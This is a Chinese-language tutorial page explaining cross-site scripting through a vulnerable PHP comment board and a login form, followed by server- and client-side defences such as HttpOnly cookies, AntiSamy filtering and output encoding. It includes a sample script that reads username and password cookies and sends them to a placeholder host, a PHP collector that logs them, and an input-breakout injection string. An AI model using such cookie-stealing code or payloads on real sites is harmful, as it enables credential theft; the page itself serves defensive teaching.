LOGO OA教程 ERP教程 模切知识交流 PMS教程 CRM教程 开发文档 其他文档  
 
网站管理员

[点晴永久免费OA]跨站脚本攻击XSS案例及其解决方案

admin
2020年4月8日 16:8 本文热度 3254

跨站脚本攻击XSS

目录

案例一:留言板的XSS攻击

利用xss窃取用户名密码

案例二:输入框的XSS攻击

怎么预防

服务端可以干的事

客户端可以干的事


跨站脚本攻击(Cross Site Script为了区别于CSS简称为XSS)指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的。

案例一:留言板的XSS攻击

我们有个页面用于允许用户发表留言,然后在页面底部显示留言列表

	<!DOCTYPE html>
	<html>
	<head>
	<?php include(''/components/headerinclude.php'');?></head>
	<style type="text/css">
	.comment-title{
	
	margin: 6px 0px 2px 4px;
	}
	

	.comment-body{
	
	color:#ccc;
	font-style: italic;
	border-bottom: dashed 1px #ccc;
	margin: 4px;
	}
	</style>
	<script type="text/javascript" src="/js/cookies.js"></script>
	<body>
	<form method="post" action="list.php">
	<div style="margin:20px;">
	<div style="font-size:16px;font-weight:bold;">Your Comment</div>
	<div style="padding:6px;">
	Nick Name:
	<br/>
	<input name="name" type="text" style="width:300px;"/>
	</div>
	<div style="padding:6px;">
	Comment:
	<br/>
	<textarea name="comment" style="height:100px; width:300px;"></textarea>
	</div>
	<div style="padding-left:230px;">
	<input type="submit" value="POST" style="padding:4px 0px; width:80px;"/>
	</div>
	<div style="border-bottom:solid 1px #fff;margin-top:10px;">
	<div style="font-size:16px;font-weight:bold;">Comments</div>
	</div>
	<?php
	require(''/components/comments.php'');
	if(!empty($_POST[''name''])){
	addElement($_POST[''name''],$_POST[''comment'']);
	}
	renderComments();
	?>
	</div>
	</form>
	</body>
	</html>

addElement()方法用于添加新的留言,而renderComments()方法用于展留言列表,网页看起来是这样的


XSS

因为我们完全信任了用户输入,但有些别有用心的用户会像这样的输入


这样无论是谁访问这个页面的时候控制台都会输出“Hey you are a fool fish!”,如果这只是个恶意的小玩笑,有些人做的事情就不可爱了,有些用户会利用这个漏洞窃取用户信息、诱骗人打开恶意网站或者下载恶意程序等,看个最简单的例子

 

利用xss窃取用户名密码

当然这个示例很简单,几乎攻击不到任何网站,仅仅看看其原理。我们知道很多登陆界面都有记住用户名、密码的功能方便用户下次登录,有些网站是直接用明文记录用户名、密码,恶意用户注册账户登录后使用简单工具查看cookie结构名称后,如果网站有xss漏洞,那么简单的利用jsonp就可以获取其它用户的用户名、密码了。

恶意用户会这么输入:


我们看看http://test.com/hack.js里藏了什么:

	var username=CookieHelper.getCookie(''username'').value;
	var password=CookieHelper.getCookie(''password'').value;
	var script =document.createElement(''script'');
	script.src=''http://test.com/index.php?username=''+username+''&password=''+password;
	document.body.appendChild(script);

几句简单的javascript,获取cookie中的用户名密码,利用jsonp把向 http://test.com/index.php 发送了一个get请求,来看一下http://test.com/index.php中的内容:

	<?php
	if(!empty($_GET[''password''])){
	$username=$_GET[''username''];
	$password=$_GET[''password''];
	
	try{
	$path=$_SERVER["DOCUMENT_ROOT"].''/password.txt'';
	$fp=fopen($path,''a'');
	flock($fp, LOCK_EX);
	fwrite($fp, "$username\t $password\r\n");
	flock($fp, LOCK_UN);
	fclose($fp);
	}catch(Exception $e){
	

	}
	}
	?>

这样恶意用户就把访问留言板的用户的信息窃取了。


案例二:输入框的XSS攻击

有一个登录页面:


如果我有用户abc,密码123,输入用户名abc,密码567,提示密码错误,但是为了避免用户再次输入用户名,将输入的用户名在页面上保留。此时的html页面是这样的,按f12查看:


好,场景描述完毕,xss跨站脚本开始了:

1、如果我直接在用户名这里输入<script>alert("1")</script>,然后输入一个错误的密码,并没有执行script代码,因为返回的html页面是这样的:


上图中那样的script代码是不会执行的,因为在input的value中,只有独立的形如下的script代码才会执行。 


所以要想实现script代码的执行,就需要进行拼接,将script代码排到input标签外。

怎么实现呢?

说白了就是自己拼接,将input标签进行闭合,然后将script代码缀在后边。

通过用户名的输入,将input拼接成如下,即可实现script代码的执行:

<input name="userName" class="textcss" id="userName" type="text" value="abc"/><script>alert("1")</script>"/>

为什么会执行?

可以将拼接后的input拆分看一下,就很明白了

<input name="userName" class="textcss" id="userName" type="text" value="abc"/>

<script>alert("1")</script>

"/>

因为input已经闭合了,所以script代码会执行,至于拼接后的html文件是有语法错误的问题(因为最后剩下一个"/>,这个html是有错误的,但是不影响页面展示和script代码执行)就可以忽略了。

因此,只需要在用户名那里输入:

abc"/><script>alert("1")</script>

然后输入一个错误的密码,点击登录,就会执行script代码,弹出弹框。


 

怎么预防

服务端可以干的事

1. HttpOnly

其实就是现在HTTP协议(HTTPS也是可以的)才能读取cookies,JavaScript是读取不到cookies的。支持浏览器是IE6+、Firefox2+、Google、Safari4+。

JavaEE给Cookie添加HttpOnly的代码: 

	response.setHeader("Set-Cookie","cookiename=value; Path=/;Domain=domainvalue;Max-Age=seconds;HTTPOnly");

PS:对于HTTPS,还是可以设置Secure字段,对Cookie进行安全加密。

这是本质上不是预防XSS,而是在被攻破时候不允许JS读取Cookie。

2.处理富文本

有些数据因为使用场景问题,并不能直接在服务端进行转义存储。不过富文本数据语义是完整的HTML代码,在输出时也不会拼凑到某个标签的属性中,所以可以当特殊情况特殊处理。处理的过程是在服务端配置富文本标签和属性的白名单,不允许出现其他标签或属性(例如script、iframe、form等),即”XSS Filter“。然后在存储之前进行过滤(过滤原理没有去探明)。

Java有个开源项目Anti-Samy是非常好的XSS Filter:

	Policy ploicy = Policy.getInstance(POLICY_FILE_LOCATION);
	AntiSamy as = new AntiSamy();
	CleanResults cr = as.scan(dirtyInput, policy);
	MyUserDao.storeUserProfile(cr.getCleanHTML());

PS:当然也可以在前端显示前过滤,但是我觉得,让前端人员少做东西好,并且服务端只需要转一次。

 

客户端可以干的事

1. 输入检查

输入检查的逻辑,必须放在服务器端代码中实现(因为用JavaScript做输入检查,很容易被攻击者绕过)。目前Web开发的普遍做法,是同时在客户端JavaScript中和服务器代码中实现相同的输入检查。客户端JavaScript的输入检查,可以阻挡大部分误操作的正常用户,从而节约服务资源。

PS:简单说,就是输入检查,服务端和客户端都要做。

 另外攻击者可能输入XSS的地方,例如:

	1.页面中所有的input框
	2.window.location(href、hash等)
	3.window.name
	4.document.referrer
	5.document.cookie
	6.localstorage
	7.XMLHttpRequest返回的数据
	

PS:当然不止这些

2. 输出检查

一般就是在变量输出到HTML页面时,使用编码或转义的方式来防御XSS攻击。XSS的本质就是“HTML注入”,用户的数据被当成了HTML代码一部分来执行,从而混淆了原本的语义,产生了新的语义。

触发XSS的地方

	1.document.write
	2.xxx.innerHTML=
	3.xxx.outerHTML=
	4.innerHTML.replace
	5.document.attachEvent
	6.window.attachEvent
	7.document.location.replace
	8.document.location.assign

PS:如果使用jquery,就是那些append、html、before、after等,其实就是拼接变量到HTML页面时产生。大部分的MVC框架在模板(view层)会自动处理XSS问题,例如AngularJS。

用什么编码转义

主要有HTMLEncode和JavaScriptEncode这两个,客户端和服务端都能做。但是让后端去做,我感觉是不大靠谱的,因为数据的使用场景可能有几种,可以在标签、属性、或脚本里(甚至其他终端使用),单单以一种方式去encode是很极限的。

1.HTMLEncode,就是将字符转换成HTMLEntities,一般会转(&、<、>、"、''、/)这6个字符。

2.JavaScriptEncode,是使用”\“对特殊字符进行转义。

PS:我在《HtmlEncode和JavaScriptEncode(预防XSS)》一文总结了比较完整的HTMLEncode和JavaScriptEncode两个前端函数的写法,以及一点示例。

哪些地方需要编转义

1.在HTML标签、属性中输出——用HTMLEncode

2.在script标签中输出——用JavaScriptEncode

3.在事件中输出——用JavaScriptEncode

	<a href="#" οnclick="funcA(''$var'')">test</a>

4.在CSS中输出

用类似JavaScriptEncode的方式。将除了字母、数字外的所有字符都编码成十六进制形式”\uHH“。

5.在地址中输出

一般如果变量是整个URL,则先检查变量是否以“http”开头(不是则帮忙添加http),保证不会出现伪协议类的XSS攻击。然后再对变量进行URLEncode。

PS:URLEncode会将字符转换成”%HH“形式。

总结

前端开发人员要注意在正确的地方使用正确的编码方式,有时为了防御XSS,在一个地方我们需要联合HTMLEncode、JavaScriptEncode进行编码,甚至是叠加,并不是固定一种方式编码(又是具体情况具体分析)。

一般存储型XSS风险高于反射型XSS。反射型XSS一般要求攻击者诱使用户点击一个包含XSS代码的URL链接;而存储型只需要用户查看一个正常的URL链接,当用户打开页面时,XSS Payload就会被执行。这样漏洞极其隐蔽,且埋伏在用户的正常业务中,风险很高。(引自白帽子讲Web安全原文)


该文章在 2020/4/8 16:08:35 编辑过
关键字查询
相关文章
正在查询...
点晴ERP是一款针对中小制造业的专业生产管理软件系统,系统成熟度和易用性得到了国内大量中小企业的青睐。
点晴PMS码头管理系统主要针对港口码头集装箱与散货日常运作、调度、堆场、车队、财务费用、相关报表等业务管理,结合码头的业务特点,围绕调度、堆场作业而开发的。集技术的先进性、管理的有效性于一体,是物流码头及其他港口类企业的高效ERP管理信息系统。
点晴WMS仓储管理系统提供了货物产品管理,销售管理,采购管理,仓储管理,仓库管理,保质期管理,货位管理,库位管理,生产管理,WMS管理系统,标签打印,条形码,二维码管理,批号管理软件。
点晴免费OA是一款软件和通用服务都免费,不限功能、不限时间、不限用户的免费OA协同办公管理系统。
Copyright 2010-2024 ClickSun All Rights Reserved